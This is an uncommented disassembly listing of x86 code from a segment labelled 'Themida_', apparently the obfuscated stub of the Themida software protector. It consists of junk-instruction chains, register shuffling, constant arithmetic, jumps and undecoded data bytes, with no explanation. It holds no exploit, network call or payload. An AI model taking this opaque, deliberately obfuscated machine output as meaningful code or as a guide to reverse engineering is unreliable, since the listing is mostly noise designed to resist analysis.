0FFFFFDEEh ; --------------------------------------------------------------------------- loc_54BEF8: ; CODE XREF: Themida_:0055059Ej pop esi add ecx, edx pop edx jmp loc_55554E ; --------------------------------------------------------------------------- loc_54BF01: ; CODE XREF: Themida_:005524A7j mov edx, 3462345Bh or edx, 683A2036h sub edx, offset byte_5AE55B jmp loc_54BD60 ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 5E08924h, 4, 3561E9h, 0B4506600h, 66E1005Bh dd 8BC82858h, 0CEE9240Ch db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF3B: ; CODE XREF: Themida_:0054F98Fj shr ah, 5 sub ah, 3Eh mov ch, ah mov eax, [esp] jmp loc_555944 ; --------------------------------------------------------------------------- loc_54BF4B: ; CODE XREF: Themida_:00549C84j pop esi pop dword ptr [esp] jmp loc_54A9FF ; --------------------------------------------------------------------------- loc_54BF54: ; CODE XREF: Themida_:00553004j imul cx sub esp, 4 mov [esp], esi mov esi, esp push ebp mov ebp, 96A17EFh shr ebp, 6 jmp loc_54BC2B ; --------------------------------------------------------------------------- loc_54BF6D: ; CODE XREF: Themida_:00555C50j mov ebp, edi pop edi sub ebp, esi xchg ebp, esi jmp loc_554D15 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FFEAB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BF81: ; CODE XREF: Themida_:0054EE1Dj or si, 5FB7h ja loc_54A156 add si, 0B94Ah push small 0 mov edi, ebp pop esp add esp, 4 jmp loc_554705 ; --------------------------------------------------------------------------- loc_54BFA3: ; CODE XREF: Themida_:00550793j or dx, 544h sub dx, 6B5Dh xor si, dx pop edx add si, 0FFFFh xor si, 0D0ABh jmp loc_54BCB1 ; --------------------------------------------------------------------------- loc_54BFBF: ; CODE XREF: Themida_:0054D1DDj pop ecx sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx sub esp, 4 jmp loc_5536AB ; --------------------------------------------------------------------------- loc_54BFD5: ; CODE XREF: Themida_:0055124Fj push esp pop ecx add ecx, 4 jmp loc_54B967 ; --------------------------------------------------------------------------- dw 3C89h dd 815F5424h, 4C7h, 5D86800h, 2C890000h, 4BD24h, 0C7810000h dd 14F503E6h, 0FBE9EF01h, 6600002Bh, 68240C8Bh, 6EE7h dd 0E9241C89h, 5E3h, 585D505Ah, 0FFEA30E9h, 5051ACFFh dd 0FFEFBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C029: ; CODE XREF: Themida_:00550911j add ecx, 4 xchg ecx, [esp] pop esp inc eax jp loc_555724 shr eax, 1 jnz loc_5538D1 mov dl, 6Bh loc_54C044: ; CODE XREF: Themida_:0054CD5Dj push ebx push ecx push ebx mov bh, al mov ch, bh mov ebx, [esp] add esp, 4 jmp loc_54CB93 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4E98300h, 0FFF60FE9h, 42D59FFh, 33000000h, 4312404h dd 24043324h, 8924248Bh, 0FEBE2434h, 21000000h, 9E91C77h dd 55000026h, 71511ABDh, 4EDC11Dh, 0CCCD8145h, 0F77A8265h dd 90ED81D5h, 8119896Eh, 920949F5h, 5DEE3165h, 348BF021h dd 2E7BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C0B6: ; CODE XREF: Themida_:005553E6j pop edx sub bl, 0DEh sub esp, 4 jmp loc_554496 ; --------------------------------------------------------------------------- db 89h, 0D7h, 5Ah dd 0D106EFC1h, 0E3F1E9EFh, 0B70FFFFFh, 6B3D68C8h, 0C890000h dd 3FBCE924h, 14330000h, 0B8E95C24h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C0EB: ; CODE XREF: Themida_:0054B12Dj neg eax xor eax, 0C81F289Ch add [esp+4], eax pop eax pop edx push ecx mov ecx, 4 add edx, 257257CCh add edx, ecx sub edx, 257257CCh jmp loc_54B5F0 ; --------------------------------------------------------------------------- loc_54C111: ; CODE XREF: Themida_:00554AB5j pop edi sub edx, 20C6483Eh add edx, ecx add edx, 20C6483Eh pop ecx xchg edx, [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_548929 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 0E9000000h, 8572h ; --------------------------------------------------------------------------- loc_54C13C: ; CODE XREF: Themida_:0054F356j push ebx mov ebx, 25B04A34h push ecx mov ecx, 0DA4FB5CEh jmp loc_54A02A ; --------------------------------------------------------------------------- db 0ADh, 56h, 0E9h dd 951Fh, 1121EE81h, 33E97E7Ch, 81FFFFCDh, 0FA7393F2h dd 5AD18938h, 1D4BE9h, 0DFED8100h, 53AA04A2h, 9DE9EB89h dd 6600001Dh, 6824048Bh, 6997h, 89242C89h, 4C581E5h, 0E9000000h dd 0FFFFDA31h ; --------------------------------------------------------------------------- loc_54C194: ; CODE XREF: Themida_:005550BAj xchg esi, [esp] jmp loc_555F83 ; --------------------------------------------------------------------------- loc_54C19C: ; CODE XREF: Themida_:005492EDj dec ch or ch, 78h push small 263Ah mov [esp], dx jmp loc_5523A5 ; --------------------------------------------------------------------------- loc_54C1AE: ; CODE XREF: Themida_:005553DAj xor eax, ebp pop ebp jmp loc_54939F ; --------------------------------------------------------------------------- loc_54C1B6: ; CODE XREF: Themida_:00549933j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 shr esi, 4 push ebx push esi push 64D069C4h jmp loc_550447 ; --------------------------------------------------------------------------- dw 0B850h dd 2D9C539Ch, 0B430A035h, 0F5A6E978h, 8F0FFFFFh, 0FFFFFC82h dd 6339CB81h, 810F312Dh, 0FFFFF54Eh, 2404285Eh, 0C71FE99Ch dd 9468FFFFh, 8900001Bh, 0B3E9241Ch, 42000012h, 1D73E9h db 0 ; --------------------------------------------------------------------------- loc_54C21D: ; CODE XREF: Themida_:0055177Cj shl esi, 2 jmp loc_555E54 ; --------------------------------------------------------------------------- loc_54C225: ; CODE XREF: Themida_:00549509j sub esp, 4 mov [esp], ecx jmp loc_551458 ; --------------------------------------------------------------------------- loc_54C233: ; CODE XREF: Themida_:0054E9D9j add dword ptr [esp], 4 mov esi, [esp] jmp loc_54A300 ; --------------------------------------------------------------------------- loc_54C23F: ; CODE XREF: Themida_:0054E99Dj add ebx, 0E9D4900h or ebx, 36FF2F1Ah not ebx xor ebx, 72791E84h jmp loc_54A57A ; --------------------------------------------------------------------------- dd 507EBF57h, 0F8291BF2h, 1055D5Fh, 0F7000000h, 8E8C1D8h dd 99A7E951h, 5A660000h, 9356E9h, 0EE876600h, 6602EC83h dd 66243489h, 22474FFh, 24348B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] jmp loc_55054C ; --------------------------------------------------------------------------- loc_54C2A0: ; CODE XREF: Themida_:0054D119j mov [esp], edx mov edx, esp add edx, 4 jmp loc_550798 ; --------------------------------------------------------------------------- loc_54C2B0: ; CODE XREF: Themida_:0054BD5Bj sub [edi+24h], esi mov esi, [esp] add esp, 4 loc_54C2B9: ; CODE XREF: Themida_:loc_54D03Aj push 2043h mov [esp], ecx push ebp mov ebp, ebx jmp loc_553233 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E924048Bh, 7B11h ; --------------------------------------------------------------------------- loc_54C2D4: ; CODE XREF: Themida_:00550FB7j ; Themida_:005543FBj sub esp, 4 mov [esp], edx mov edx, 24h add edx, edi add [edx], esi jmp loc_54D9E2 ; --------------------------------------------------------------------------- loc_54C2E8: ; CODE XREF: Themida_:00550ED9j xor esi, 54E6CFDh add ebx, esi mov esi, [esp] jmp loc_54C520 ; --------------------------------------------------------------------------- loc_54C2F8: ; CODE XREF: Themida_:00549721j sub edx, 66A21134h neg edx inc edx add edx, 0B2036A56h add esi, edx pop edx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54A32E ; --------------------------------------------------------------------------- loc_54C320: ; CODE XREF: Themida_:0054D5C9j neg ebp ja loc_553046 jmp loc_54E865 ; --------------------------------------------------------------------------- aXsD db 'XИ╦└',0 db 0 ; --------------------------------------------------------------------------- loc_54C333: ; CODE XREF: Themida_:0054F40Dj jnp loc_54923E jmp loc_54E67C ; --------------------------------------------------------------------------- dw 69BAh db 7Fh, 17h, 78h ; --------------------------------------------------------------------------- loc_54C343: ; CODE XREF: Themida_:00551D45j sub eax, 48CD0E4Ah add eax, ebp add eax, 48CD0E4Ah jmp loc_551BC5 ; --------------------------------------------------------------------------- dd 41B85BFh, 5FFE2952h, 1008E9h, 75C38000h, 14B3E9h, 0E9815E00h dd 76152C60h, 4246C81h, 6814B89h, 2CCAE9h, 59F58100h, 2900BFD2h dd 0C875DE9h, 8BE7E924h, 34310000h, 24343324h, 6624248Bh dd 0E99CC83Bh, 33A1h ; --------------------------------------------------------------------------- loc_54C3A0: ; CODE XREF: Themida_:005499CDj mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push edx jmp loc_552929 ; --------------------------------------------------------------------------- db 81h dd 0CE19E9F5h, 0F76E968h, 0EEC10000h, 78850F07h, 96FFFFD6h dd 0E996D0F7h, 0FFFFC93Ah, 8BE78957h, 248957D1h, 24048324h dd 24148B04h, 0E904C483h, 0FFFFE80Ah, 0FFD96EE9h, 240C89FFh dd 2B9h, 59CE0100h, 8B243487h, 0F7662424h, 206866E1h, 14896607h dd 9C506624h, 0FFC514E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C415: ; CODE XREF: Themida_:00549D5Aj add edx, ebx jmp loc_5509D5 ; --------------------------------------------------------------------------- dd 835DEF01h, 0EC8304C7h, 426BE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C42A: ; CODE XREF: Themida_:0054CF4Cj sub esp, 4 mov [esp], edx mov edx, 24EF6D9Eh xor esi, edx pop edx sub eax, esi jmp loc_54DA3F ; --------------------------------------------------------------------------- db 5 dd 0D692F0FDh, 48BC589h, 4C48124h, 81000000h, 0B00288CDh dd 4DD5F73Ah, 0E957D5F7h, 0FFFFD11Eh ; --------------------------------------------------------------------------- loc_54C460: ; CODE XREF: Themida_:0054AE71j push edx mov edx, 81C0D801h jmp loc_54FC4E ; --------------------------------------------------------------------------- loc_54C46B: ; CODE XREF: Themida_:0054F7ACj sub al, 9Bh jmp loc_54DA23 ; --------------------------------------------------------------------------- loc_54C472: ; CODE XREF: Themida_:005491CAj pop esp jmp loc_555033 ; --------------------------------------------------------------------------- dd 0E9240C32h, 8946h, 5E243429h, 8904EC83h, 96BB241Ch dd 0C12B4168h, 8B0F06EBh, 3407h, 77E38143h, 0F03D52Ch dd 0FFE4E683h db 0FFh, 8Ah, 0CAh ; --------------------------------------------------------------------------- loc_54C4A7: ; CODE XREF: Themida_:loc_54A3F2j or ebp, 5D6002ABh sub ebp, 5FE67B64h jz loc_54DB3C add ebp, 647F561Dh jmp loc_550EAA ; --------------------------------------------------------------------------- loc_54C4C4: ; CODE XREF: Themida_:00551B5Ej neg al and al, 0EFh and al, 62h xor al, 0D6h add al, 86h add dl, al mov eax, [esp] add esp, 4 push ebx mov bh, 69h sub dl, bh jmp loc_549C1E ; --------------------------------------------------------------------------- db 59h dd 6804C383h, 368Ch, 0FF241C89h, 8B042474h, 8951241Ch dd 5BC4E9E1h, 0ECBB0000h, 81590F29h, 237FC6E9h, 0E1F0E96Eh dd 0C481FFFFh, 2, 0FFFD60E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C519: ; CODE XREF: Themida_:0054A478j add edx, ebp jmp loc_555DD2 ; --------------------------------------------------------------------------- loc_54C520: ; CODE XREF: Themida_:0054C2F3j add esp, 4 push dword ptr [eax] jmp loc_548929 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 6804C483h, 2676h, 0E9242C89h, 5740h ; --------------------------------------------------------------------------- loc_54C540: ; CODE XREF: Themida_:0055472Cj mov ebp, 2C5D4BABh xor edi, ebp pop ebp shr edi, 1 shr edi, 7 jmp loc_550711 ; --------------------------------------------------------------------------- loc_54C552: ; CODE XREF: Themida_:0054FC2Cj pop edx jmp loc_54FCDC ; --------------------------------------------------------------------------- dd 9C243CD3h, 0FFC3C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C561: ; CODE XREF: Themida_:00551CB3j mov [esp], edx mov edx, 37C139ADh jmp loc_54F723 ; --------------------------------------------------------------------------- loc_54C56E: ; CODE XREF: Themida_:0054FBDEj jns loc_54CF7C not bl or bl, 0FDh xor bl, 8Ch mov bh, 0C6h push esi mov edx, 4F42E0Eh sub edx, 58922844h push 5888h jmp loc_551FBA ; --------------------------------------------------------------------------- db 29h, 0F5h, 5Eh dd 0CCE4C581h, 0E801703Dh, 2C46E9h db 0 ; --------------------------------------------------------------------------- loc_54C5A5: ; CODE XREF: Themida_:00553BDAj xchg ebp, [esp] pop esp mov ecx, [esp] sub esp, 4 jmp loc_54B473 ; --------------------------------------------------------------------------- db 81h dd 2C6h, 7DCDE900h, 0C4810000h, 4, 0E904C483h, 0FFFFE0D8h dd 0CF803BB7h, 0E9CFFE92h, 945Eh ; --------------------------------------------------------------------------- loc_54C5DC: ; CODE XREF: Themida_:005555E5j mov esp, [esp] xchg edi, [esp] jmp loc_54CAB2 ; --------------------------------------------------------------------------- loc_54C5E7: ; CODE XREF: Themida_:0054D4D1j push dword ptr [esp] pop ecx jmp loc_54CC7C ; --------------------------------------------------------------------------- loc_54C5F0: ; CODE XREF: Themida_:0054DBCEj mov esp, [esp] and eax, edx pop edx jmp loc_555081 ; --------------------------------------------------------------------------- db 54h dd 4C3815Bh, 83000000h, 348904ECh, 26824h, 7BE90000h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C613: ; CODE XREF: Themida_:0054D3AEj push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 jmp loc_549CB8 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 0Fh dd 134C85h, 0A8E78100h, 81621B1Bh, 141BC6F7h, 51F58A04h dd 902FB2B9h, 0D0E9564Eh, 66000017h, 68240C8Bh, 51E5h dd 0E9241C89h, 9498h ; --------------------------------------------------------------------------- loc_54C658: ; CODE XREF: Themida_:0055215Aj pop ecx sub ebx, 3F2B348Fh push ebp mov ebp, 7F144D1h sub esp, 4 mov [esp], ebp dec dword ptr [esp] jmp loc_555D8C ; --------------------------------------------------------------------------- loc_54C673: ; CODE XREF: Themida_:0054D92Bj pop ebp push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_54FC1E ; --------------------------------------------------------------------------- aL4S db '▀4$И=',8,0 align 10h loc_54C690: ; CODE XREF: Themida_:0054B6A5j jz loc_54D12C shr eax, 6 jmp loc_54D930 ; --------------------------------------------------------------------------- aRqsey db 'RQИ┘y',0 db 0 ; --------------------------------------------------------------------------- loc_54C6A5: ; CODE XREF: Themida_:0054D035j not edi xor edi, 69F00E62h or edi, 3E210C20h jmp loc_54D11E ; --------------------------------------------------------------------------- loc_54C6B8: ; CODE XREF: Themida_:00555639j inc edx jnz loc_54D72C push 2A40h jmp loc_555411 ; --------------------------------------------------------------------------- db 5Bh, 8Bh, 14h db 24h, 53h ; --------------------------------------------------------------------------- loc_54C6CE: ; CODE XREF: Themida_:00551911j mov bh, 4Ch sub al, bh jmp loc_54EADA ; --------------------------------------------------------------------------- db 89h dd 0E9F189FEh, 0FFFFFFA8h, 0E9E28952h, 5A96h, 0E1EEE950h dd 2C87FFFFh, 7E0CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C6F6: ; CODE XREF: Themida_:00555179j xchg ebx, [esp] mov esp, [esp] jmp loc_5514CA ; --------------------------------------------------------------------------- aZsO db ')уZИ}▌',0 db 0 ; --------------------------------------------------------------------------- loc_54C709: ; CODE XREF: Themida_:0054D214j mov ecx, [esp] add esp, 4 push esi mov esi, esp push edi mov edi, 4 jmp loc_54FF7E ; --------------------------------------------------------------------------- db 30h, 0C1h, 58h dd 0FC180h, 576859C8h, 8900004Dh, 5CB22414h, 809CE280h dd 0E2C0ACE2h, 80D2F606h, 11E983F2h, 8100005Ch, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 74FF2414h, 148B0424h, 4C48124h dd 8F000000h, 248B2404h, 240C8924h, 0B6E9008Fh db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C773: ; CODE XREF: Themida_:0054A3D1j add edi, 2 jmp loc_54FB32 ; --------------------------------------------------------------------------- loc_54C77B: ; CODE XREF: Themida_:0054ADEEj xor di, 40D1h jnz loc_54FBC6 jmp loc_54DFEA ; --------------------------------------------------------------------------- db 66h dd 52240C89h, 5B12B353h ; --------------------------------------------------------------------------- loc_54C794: ; CODE XREF: Themida_:00550CF9j and eax, 74FE644Bh sub eax, 0D3591027h mov edi, eax pop eax and edi, 1EB416F1h inc edi neg edi inc edi push ebp mov ebp, 63A267F8h xor ebp, 27097DBAh sub ebp, 453F2116h sub edi, ebp pop ebp jmp loc_54FB56 ; --------------------------------------------------------------------------- loc_54C7C5: ; CODE XREF: Themida_:0054AA45j mov eax, [esp] push 22E7h mov [esp], eax jmp loc_553D10 ; --------------------------------------------------------------------------- loc_54C7D5: ; CODE XREF: Themida_:loc_551B63j xor ebx, 839628D5h jmp loc_551E33 ; --------------------------------------------------------------------------- dd 240CFF53h, 81241C8Bh, 4C4h, 5BCB8100h, 0F730B763h, 7CEB81D3h dd 89C3489Ch, 0C8015BD9h, 26C8E9h, 2852B600h, 7319E9F4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C80E: ; CODE XREF: Themida_:00555279j add eax, edx jmp loc_54FC27 ; --------------------------------------------------------------------------- db 81h, 0EEh, 1Eh dd 896D83A2h, 0BD555EF3h, 0BE9FE543h, 0B9E9E889h, 53FFFFE6h dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 52E38924h dd 0AA75DBBAh, 6E2C172h, 167CE9h db 0 ; --------------------------------------------------------------------------- loc_54C851: ; CODE XREF: Themida_:loc_54B783j push 77E4h mov [esp], edx jmp loc_548929 ; --------------------------------------------------------------------------- loc_54C85E: ; CODE XREF: Themida_:0054F5D7j sub edx, 4 xchg edx, [esp] jmp loc_54DBAB ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFC0B5h ; --------------------------------------------------------------------------- loc_54C874: ; CODE XREF: Themida_:0054A125j mov esp, [esp] push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx jmp loc_552B2C ; --------------------------------------------------------------------------- db 83h dd 51E9FFC3h, 8BFFFFFFh, 0BF0F2424h, 0CD068C8h, 0C890000h dd 0C087E924h, 6664FFFFh, 6866028Bh, 896646B6h, 0A7E92404h dd 83000044h, 48704C0h, 3C335C24h, 243C3124h, 8B243C33h dd 0EC832424h, 24148904h, 1FE9E289h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C8D3: ; CODE XREF: Themida_:0054D016j not esi xor esi, 0C96CFA49h mov edi, esi pop esi push edx mov edx, 56CA4305h or edx, 18B5782Bh add edx, 0DD9589B3h jmp loc_54EFB5 ; --------------------------------------------------------------------------- loc_54C8F5: ; CODE XREF: Themida_:0054AEA3j push esp pop edi push edx mov edx, 4 jmp loc_551254 ; --------------------------------------------------------------------------- dw 8B66h dd 8956240Ch, 4C681E6h, 83000000h, 0EAE904EEh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C917: ; CODE XREF: Themida_:0054ABDBj xor [esp], ecx xor ecx, [esp] pop esp cmp ecx, eax pushf jmp loc_548929 ; --------------------------------------------------------------------------- dw 0FF51h dd 18E9240Ch, 30000012h, 0C884E9D1h, 0C381FFFFh, 72634F57h dd 0B752EB81h, 0DF0195CDh, 0A6BB535Bh, 0E91E8920h, 1FD4h ; --------------------------------------------------------------------------- loc_54C950: ; CODE XREF: Themida_:0054FD00j push ecx jmp loc_554EA0 ; --------------------------------------------------------------------------- loc_54C956: ; CODE XREF: Themida_:0054D5EEj mov [esp], esi mov esi, esp push edi mov edi, 5202040Ch neg edi dec edi push ebx mov ebx, 57E0B1Eh inc ebx jmp loc_54F62B ; --------------------------------------------------------------------------- loc_54C970: ; CODE XREF: Themida_:0055436Dj jmp loc_552BF4 ; --------------------------------------------------------------------------- db 81h, 0F3h, 97h dd 0F4D4347h, 6F568Bh, 22C38100h, 1FDDE82h, 4875BD8h, 96E95C24h dd 0FFFFBFh, 661504D8h, 64B4E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C99E: ; CODE XREF: Themida_:0054F550j xchg ebx, [esp] pop esp pop ebx jmp loc_548929 ; --------------------------------------------------------------------------- loc_54C9A8: ; CODE XREF: Themida_:0055366Ej xchg edi, [esp] jmp loc_5522B7 ; --------------------------------------------------------------------------- loc_54C9B0: ; CODE XREF: Themida_:0054B244j mov eax, 7C375008h add eax, 2E520C67h jmp loc_54925A ; --------------------------------------------------------------------------- loc_54C9BF: ; CODE XREF: Themida_:00550FDDj jo loc_551EC9 sub esp, 4 mov [esp], ecx jmp loc_553A68 ; --------------------------------------------------------------------------- loc_54C9D0: ; CODE XREF: Themida_:0054A7F9j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx jmp loc_55008A ; --------------------------------------------------------------------------- db 89h, 0C2h, 8Bh dd 99E92404h, 5EFFFFDAh, 2BA52h, 0D3010000h, 8124148Bh dd 4C4h, 241C8700h, 0E924248Bh, 0FFFFF7F5h ; --------------------------------------------------------------------------- loc_54CA0C: ; CODE XREF: Themida_:0054E369j xor ebx, 47047E57h jmp loc_554F03 ; --------------------------------------------------------------------------- loc_54CA17: ; CODE XREF: Themida_:0054A151j ; Themida_:0054A9A6j mov ebx, 6B454214h jmp loc_54F622 ; --------------------------------------------------------------------------- loc_54CA21: ; CODE XREF: Themida_:0054DE74j add edx, 0E7C8D8B8h and eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_54AD98 ; --------------------------------------------------------------------------- dd 4DFE6855h, 815D76A4h, 895F9DC5h, 0F6890F2Dh, 0E9000076h dd 0FFFFDFFEh ; --------------------------------------------------------------------------- loc_54CA4C: ; CODE XREF: Themida_:0054D127j add esi, edi jmp loc_54DCE6 ; --------------------------------------------------------------------------- loc_54CA53: ; CODE XREF: Themida_:00549FE7j add ebp, 382FEDB8h jmp loc_550B61 ; --------------------------------------------------------------------------- loc_54CA5E: ; CODE XREF: Themida_:0055167Fj mov dl, al pop ax mov bh, dl jmp loc_552119 ; --------------------------------------------------------------------------- loc_54CA69: ; CODE XREF: Themida_:005500D1j add bl, cl pop cx add bl, 23h sub bl, 4Bh jmp loc_555226 ; --------------------------------------------------------------------------- dd offset dword_4830AC+299BCh dd 24148900h, 26243481h, 5E272C48h, 4826B850h, 0C631272Ch dd 2A8AE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CA96: ; CODE XREF: Themida_:0054CBA8j mov [esp], eax mov al, bh push ecx jmp loc_553BF6 ; --------------------------------------------------------------------------- loc_54CAA1: ; CODE XREF: Themida_:005512A1j add ecx, 0FB9B65DBh add edi, 7D412077h jmp loc_554355 ; --------------------------------------------------------------------------- loc_54CAB2: ; CODE XREF: Themida_:0054C5E2j mov esp, [esp] jmp loc_54F3C7 ; --------------------------------------------------------------------------- loc_54CABA: ; CODE XREF: Themida_:0055403Ej or ebx, 7C2604FCh xor ebx, 79902807h jmp loc_551289 ; --------------------------------------------------------------------------- aSg db '\И┐ ',0 dd 4C48100h, 33000000h, 14312414h, 24143324h, 0E924248Bh dd 307Ah ; --------------------------------------------------------------------------- loc_54CAE8: ; CODE XREF: Themida_:loc_555A5Bj jmp loc_552EC2 ; --------------------------------------------------------------------------- db 55h, 0BDh, 1Eh dd 8779FA19h, 0C7DE9DDh, 0D3F60000h, 0EC81DD86h, 4, 0B2241489h dd 7A16E977h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CB0E: ; CODE XREF: Themida_:00548C38j mov ebx, 17A47A8Ah sub esp, 4 mov [esp], ebp mov ebp, ebx mov esi, ebp jmp loc_552AE1 ; --------------------------------------------------------------------------- dw 0C981h dd 31A1050Bh, 0E94F890Fh, 0E1C1FFFFh, 0BDF18105h, 0E97BC61Fh dd 72ECh ; --------------------------------------------------------------------------- loc_54CB3C: ; CODE XREF: Themida_:0054DA1Ej sub ebp, esi pop esi mov ebx, [esp] add esp, 4 mov edx, ebp pop ebp add edx, ebx add eax, [edx] jmp loc_553A8C ; --------------------------------------------------------------------------- loc_54CB51: ; CODE XREF: Themida_:0054B5A0j mov dl, 86h or bh, dl jmp loc_55351B ; --------------------------------------------------------------------------- loc_54CB5A: ; CODE XREF: Themida_:0055161Ej push dword ptr [esp] pop eax add esp, 4 push 517Bh mov [esp], edi push esp pop edi add edi, 4 add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_5517C2 ; --------------------------------------------------------------------------- loc_54CB84: ; CODE XREF: Themida_:00553AFDj pop edi shl esi, 8 sub esp, 4 jmp loc_549B31 ; --------------------------------------------------------------------------- loc_54CB93: ; CODE XREF: Themida_:0054C054j push edx mov dl, ch mov bh, dl pop edx mov ecx, [esp] add esp, 4 push edx push 4375h jmp loc_54CA96 ; --------------------------------------------------------------------------- loc_54CBAD: ; CODE XREF: Themida_:00553EE2j pop edx jmp loc_54FD50 ; --------------------------------------------------------------------------- loc_54CBB3: ; CODE XREF: Themida_:005526EDj sub ax, 0FEB8h add bx, ax mov eax, [esp] jmp loc_5557E9 ; --------------------------------------------------------------------------- dw 0C380h dd 0E073E92Fh, 248BFFFFh, 30A0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CBD2: ; CODE XREF: Themida_:0054E836j pop esp jmp loc_54E63D ; --------------------------------------------------------------------------- dd 4B9h, 8BC80100h, 0C481240Ch, 4, 0E904C083h, 0F1Bh ; --------------------------------------------------------------------------- loc_54CBF0: ; CODE XREF: Themida_:00551E58j mov esp, [esp] push edx push esp pop edx sub esp, 4 mov [esp], ecx push ebp push eax jmp loc_54B896 ; --------------------------------------------------------------------------- db 5Ah dd 301FEF80h, 2434FFF8h, 1822E9h db 0 ; --------------------------------------------------------------------------- loc_54CC11: ; CODE XREF: Themida_:0054B410j push ebx mov ebx, 5A091CA0h add edx, ebx pop ebx jmp loc_551109 ; --------------------------------------------------------------------------- db 56h dd 6754F3BEh, 0DFECE928h, 15E9FFFFh, 6600002Ch, 8124048Bh dd 4ECh, 243C8900h, 8904EC83h, 4812424h, 424h, 243C8B00h dd 6804C483h, 4BCDh, 0B8240489h, 4, 85ADE9h db 0 ; --------------------------------------------------------------------------- loc_54CC61: ; CODE XREF: Themida_:00549ECAj push esi push esp jmp loc_55381F ; --------------------------------------------------------------------------- loc_54CC68: ; CODE XREF: Themida_:00549FA3j mov eax, 405B0C4Fh mov ebx, 0BFA4F3B2h jmp loc_55394C ; --------------------------------------------------------------------------- loc_54CC77: ; CODE XREF: Themida_:loc_54D6D9j jmp loc_551816 ; --------------------------------------------------------------------------- loc_54CC7C: ; CODE XREF: Themida_:0054C5EBj sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_54B741 ; --------------------------------------------------------------------------- loc_54CC8D: ; CODE XREF: Themida_:00552B8Aj pop edi and esi, 6B2D33BAh jmp loc_5538F9 ; --------------------------------------------------------------------------- db 1, 0F9h, 0E9h dd 69D3h, 0DBC8D0Fh, 0F7810000h, 0BCAA8DAAh, 6AE9FB89h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CCB3: ; CODE XREF: Themida_:00552476j mov al, cl jmp loc_54F200 ; --------------------------------------------------------------------------- dw 60Dh aVjq db 'v╕Q-',0 aKmsJ db ' ╙MИрJ',0 db 0 ; --------------------------------------------------------------------------- loc_54CCC9: ; CODE XREF: Themida_:00550E7Ej push ax pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54CCD1: ; CODE XREF: Themida_:0054DA70j add esi, 520F3122h add esi, eax sub esi, 520F3122h jmp loc_54ADB3 ; --------------------------------------------------------------------------- loc_54CCE4: ; CODE XREF: Themida_:0054AEDFj add edx, 557B69E2h add edx, ebp jmp loc_552693 ; --------------------------------------------------------------------------- loc_54CCF1: ; CODE XREF: Themida_:0055383Dj pop esi jmp loc_548929 ; --------------------------------------------------------------------------- loc_54CCF7: ; CODE XREF: Themida_:00551494j push 52E3h mov [esp], ebp mov ebp, 354F0B56h shl ebp, 6 shr ebp, 2 push eax push edi push 7A066F02h pop edi push eax mov eax, 66114EF4h add eax, 16E55D08h jmp loc_551478 ; --------------------------------------------------------------------------- loc_54CD22: ; CODE XREF: Themida_:0054B385j xor ebp, 32345B4Bh ja loc_553D3E jmp loc_54DD87 ; --------------------------------------------------------------------------- db 5Ch dd 5A2434FFh, 0CD81DD8Bh, 47A03AFDh, 17D3ED81h, 814D2916h dd 6555BCEDh, 31ED8166h, 2924FD94h, 0CBE95DEAh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD5B: ; CODE XREF: Themida_:0054A956j pop ax jmp loc_54C044 ; --------------------------------------------------------------------------- aNhG db '╜h<g',0 align 4 dd 56241489h, 0D263E8BEh, 5EF28924h, 148BD029h, 4C48324h dd 0BD55D829h, 5FBC0D8Fh, 247468h, 240C8900h, 165659B9h dd 19B850C5h, 0C177217Bh, 54002E8h, 30A77FD7h, 233DE9h db 0 ; --------------------------------------------------------------------------- loc_54CDA5: ; CODE XREF: Themida_:0054916Aj shl esi, 1 dec esi xor esi, 0A2976F64h add eax, esi mov esi, [esp] add esp, 4 mov ecx, [esp] jmp loc_54A9B3 ; --------------------------------------------------------------------------- loc_54CDC1: ; CODE XREF: Themida_:0054FA32j pop edx and cl, 0D0h add cl, 0ADh sub dl, 32h add dl, cl jmp loc_55451C ; 